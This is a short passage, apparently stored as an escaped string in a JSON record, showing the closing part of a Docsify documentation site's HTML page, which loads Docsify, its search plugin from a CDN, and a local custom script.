id=\"app\"></div>\n  \n  <!-- Docsify and plugins -->\n  <script src=\"https://cdn.jsdelivr.net/npm/docsify@4/lib/docsify.min.js\"></script>\n  <!-- Custom JS -->\n  <script src=\"./custom.js\"></script>\n  <script src=\"https://cdn.jsdelivr.net/npm/docsify@4/lib/plugins/search.min.js\"></script>\n  \n</body>\n</html>"
  }
]